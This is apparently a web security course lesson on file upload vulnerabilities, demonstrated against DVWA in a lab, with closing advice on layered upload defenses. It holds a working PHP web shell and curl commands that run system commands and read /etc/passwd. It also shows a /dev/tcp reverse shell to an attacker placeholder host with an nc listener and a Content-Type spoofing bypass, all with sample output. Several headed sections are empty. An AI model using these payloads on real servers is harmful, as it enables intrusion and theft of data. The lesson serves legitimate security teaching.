File Upload Vulnerabilities

File upload functionality exists in almost every modern web application — profile pictures, document uploads, media imports. When the server does not properly validate what is being uploaded, an attacker can upload executable code instead of an image and access it through the browser, turning a legitimate feature into remote code execution.

The upload attack surface

A file upload vulnerability exists when three conditions align: the server accepts a file type it should not (a PHP file where only images are expected), the uploaded file is stored in a location reachable via URL, and the server executes the file's contents when it is accessed rather than serving it as a download. All three conditions must be true for the vulnerability to result in code execution.

The attack surface is broader than it appears. Inadequate validation, client-side-only filtering, and MIME type checking that trusts what the browser sends rather than the actual file content all create exploitable paths. Each filtering approach has specific bypass techniques — and understanding the bypass tells you what to look for when assessing an upload feature.

Validation approaches and their weaknesses

Uploading a web shell through DVWA

DVWA's file upload module at security level Low performs no meaningful validation. Any file type is accepted. The upload directory is web-accessible. Uploaded PHP files are executed by the server. This is the worst-case configuration — all three conditions for code execution met simultaneously.

The scenario: You are testing the DVWA file upload functionality during an authorised web application assessment. Security level is set to Low. You want to demonstrate that the upload feature allows arbitrary code execution on the server.

# Step 1 — create a minimal PHP web shell
# This one-liner reads a command from the URL parameter 'cmd' and executes it
# system() runs the command and prints the output directly to the page
# This is sufficient for proof of concept — minimal code, clear demonstration
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# Step 2 — upload the shell through the DVWA file upload form
# Navigate to: http://192.168.56.101/dvwa/vulnerabilities/upload/
# Click Browse → select /tmp/shell.php
# Click Upload
# The server should return the path where the file was stored

# Step 3 — access the uploaded shell and execute a command
# The upload path is typically /dvwa/hackable/uploads/shell.php
# Pass a command via the cmd parameter in the URL
# id confirms code execution and shows the web server's privilege level
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"

# Step 4 — escalate to reading sensitive files
# The web server process can read any file readable by www-data
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd"

# Step 5 — establish a reverse shell from the web shell
# Replace KALI_IP with your actual Kali address
# This escalates from simple command execution to an interactive shell
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/KALI_IP/4444+0>%261"

# On Kali — listener to catch the reverse shell
nc -lvp 4444

--- Upload response ---
../../hackable/uploads/shell.php succesfully uploaded!

--- curl ?cmd=id ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

--- curl ?cmd=cat+/etc/passwd (first 3 lines) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

--- Reverse shell caught on Kali ---
connect to [192.168.56.102] from metasploitable [192.168.56.101] 49201
bash: no job control in this shell
www-data@metasploitable:/var/www/dvwa/hackable/uploads$

Bypassing Medium security — MIME type interception

DVWA Medium security adds a server-side MIME type check — it rejects uploads where the Content-Type is not image/jpeg or image/png. This stops the simple upload but falls to a single Burp interception. The bypass requires capturing the upload request and changing one header value before the server processes it.

# MIME type bypass using Burp Proxy intercept
# This workflow is done in the Burp GUI — documented here as steps

# Step 1 — set DVWA security to Medium
# Medium adds: if($_FILES['uploaded']['type'] != "image/jpeg") { reject }
# This checks the Content-Type header sent by the browser — NOT the file content

# Step 2 — enable Burp Proxy intercept
# Burp Proxy → Intercept → Intercept is ON

# Step 3 — submit shell.php through the upload form
# The browser sets Content-Type to application/x-php for a .php file
# Burp intercepts the request before it reaches the server

# Step 4 — in Burp's intercepted request, find and change this header:
# Content-Disposition: form-data; name="uploaded"; filename="shell.php"
# Content-Type: application/x-php     <-- change this line
# Content-Type: image/jpeg             <-- to this

# Step 5 — forward the modified request
# The server receives Content-Type: image/jpeg — passes the MIME check
# The filename is still shell.php — the server saves it as a PHP file
# The PHP interpreter executes it when accessed via URL

# Verify the bypass worked:
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"

# Alternative — use curl directly with the spoofed Content-Type
# -F sends a multipart form upload
# type=image/jpeg overrides the Content-Type for just this form field
curl -b "PHPSESSID=YOUR_SESSION_COOKIE; security=medium" \
  -F "uploaded=@/tmp/shell.php;type=image/jpeg" \
  -F "Upload=Upload" \
  http://192.168.56.101/dvwa/vulnerabilities/upload/

--- MIME type check in Medium security source ---
if(($_FILES['uploaded']['type'] == "image/jpeg")
   || ($_FILES['uploaded']['type'] == "image/png")) {
  // Accept file
} else {
  // "Your image was not uploaded."
}

--- curl with spoofed Content-Type ---
../../hackable/uploads/shell.php succesfully uploaded!

--- Confirming execution after MIME bypass ---
curl ?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

--- Bypass confirmed ---
Server validated Content-Type header (attacker-controlled)
File saved as shell.php and executed as PHP

Double extension and null byte bypass techniques

Extension-based blacklists and whitelists create their own bypass opportunities. The way different components of the web stack interpret filenames creates gaps an attacker can exploit — particularly when the web application's validation logic sees a different filename than the web server uses for execution.

Beyond PHP — other executable file types

PHP web shells are the most commonly demonstrated file upload exploitation technique — but the attack surface extends to whatever the server can execute. The specific file type depends on the server-side technology stack. Testing should adapt to the confirmed technology from the reconnaissance phase.

Secure file upload — the complete defence

Secure file upload requires multiple controls applied together. No single check is sufficient — each approach has a bypass when used alone. The combination of controls eliminates the individual bypass techniques and makes exploitation significantly harder even if one layer is circumvented.

These four controls in combination eliminate every bypass technique covered in this lesson. Extension whitelisting prevents executable extensions. Magic bytes validation defeats MIME spoofing. Random renaming defeats double extension and null byte attacks. Storing outside the web root means even a bypassed upload cannot be accessed. Each control compensates for the others' potential gaps — the defence-in-depth principle applied to a single feature.

Quiz